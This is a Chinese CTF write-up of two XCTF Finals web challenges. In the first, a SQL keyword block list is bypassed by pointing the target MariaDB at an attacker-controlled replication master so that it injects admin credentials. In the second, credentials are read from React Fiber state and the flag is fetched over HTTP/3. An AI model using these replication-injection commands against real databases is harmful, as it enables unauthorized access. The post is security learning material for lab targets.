The 7th XCTF Finals WEB WP

WEB

dbtrick

admin.php 中读代码可以发现是从ctf.admin中读取username、password,如果能查询出数据着执行readfile('/flag')

#admin.php
<?php
//flag is in /flag 
$con = new PDO($dsn,$user,$pass); 
$sql = "select * from ctf.admin where username=? and password=?"; 
$sth = $con->prepare($sql); 
$res = $sth->execute([$_POST['username'],$_POST['password']]); 
if($sth->rowCount()!==0){ 
    readfile('/flag'); 
}

查询数据库版本

SHOW VARIABLES LIKE 'version'
Array ( [0] => Array ( [Variable_name] => version [0] => version [Value] => 10.3.38-MariaDB-0ubuntu0.20.04.1 [1] => 10.3.38-MariaDB-0ubuntu0.20.04.1 ) )

现在的思路就是获取出admin中的数据,但在测试过程中发现过滤了很多的函数

black list
select
set
GRANTS
create
insert
load
PREPARE
rename
update
HANDLER
updatexml

常见的思路几乎全被完全过滤,alter可用,ctf.admin表不存在,考虑需要建表,但在后续的测试中发现rename被过滤导致失败。

考虑写文件查询secure_file_priv参数结果为空,但load关键字也被堵死

show global variables like "secure%";

最后考虑到mariadb 数据复制

mariadb 数据复制配置

/etc/mysql/my.conf [mysqld]块下添加如下三条配置

[mysqld]
server_id       = 2
secure_file_priv=
log-bin         = mysql-bin
  • server_id 主从服务器的id不能为同一个,默认情况下都为1
  • secure_file_priv mysql文件写权限
  • log-bin 二进制日志

MySQL - binlog日志简介及设置 - hongdada - 博客园 (cnblogs.com)

主服务器需执行sql:

CREATE USER 'm4x'@'%' IDENTIFIED BY '123456';
GRANT REPLICATION SLAVE ON *.* TO 'm4x'@'%';

create database ctf;
CREATE TABLE admin (
    id INT NOT NULL AUTO_INCREMENT,
    username VARCHAR(150) NOT NULL,
    password VARCHAR(150) NOT NULL,
    PRIMARY KEY (id)
);
INSERT INTO admin (username, password) VALUES ('m4x', 'm4x');

从服务需执行sql:

CHANGE MASTER TO
    MASTER_HOST='172.30.3.168',
    MASTER_USER='m4x',
    MASTER_PASSWORD='123456',
    MASTER_LOG_FILE='mysql-bin.000001',
    MASTER_LOG_POS=0;

START SLAVE;

主从同步完成后即可在服务器中成功创建出admin表,并且其中的用户名密码都为可控

WEB2

React state 前端储存数据 + 后台HTTP3.0

[1] Username and password store in  React Redux state

https://www.freebuf.com/vuls/304954.html

在引入了Fiber的React(16.8+),会多出 reactFiber$xxxx 属性,该属性对应的就是这个DOM在React内部对应的FiberNode,可以直接使用child属性获得子节点。节点层级可以从React Dev Tool内查看。通过读取每个FiberNode的 memoizedProps 和 memoizedState ,即可直接获取需要的Prop和State。在高版本使用React Hooks的项目中,FiberNode的 memorizedState 是一个链表,该链表内的节点次序可以参考该组件源码内 useState 的调用顺序。旧版React,引入的属性是 reactInternalInstance 。State也是一个Object而非链表,可以方便地看到每个state的名字。

在浏览器安装React Dev Tool,前端获取到state中的账号密码

登入后端使用HTTP3.0 发送请求即可获取到flag

docker run -it --rm ymuski/curl-http3 curl -Lv https://172.35.3.40/user/home --http3
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇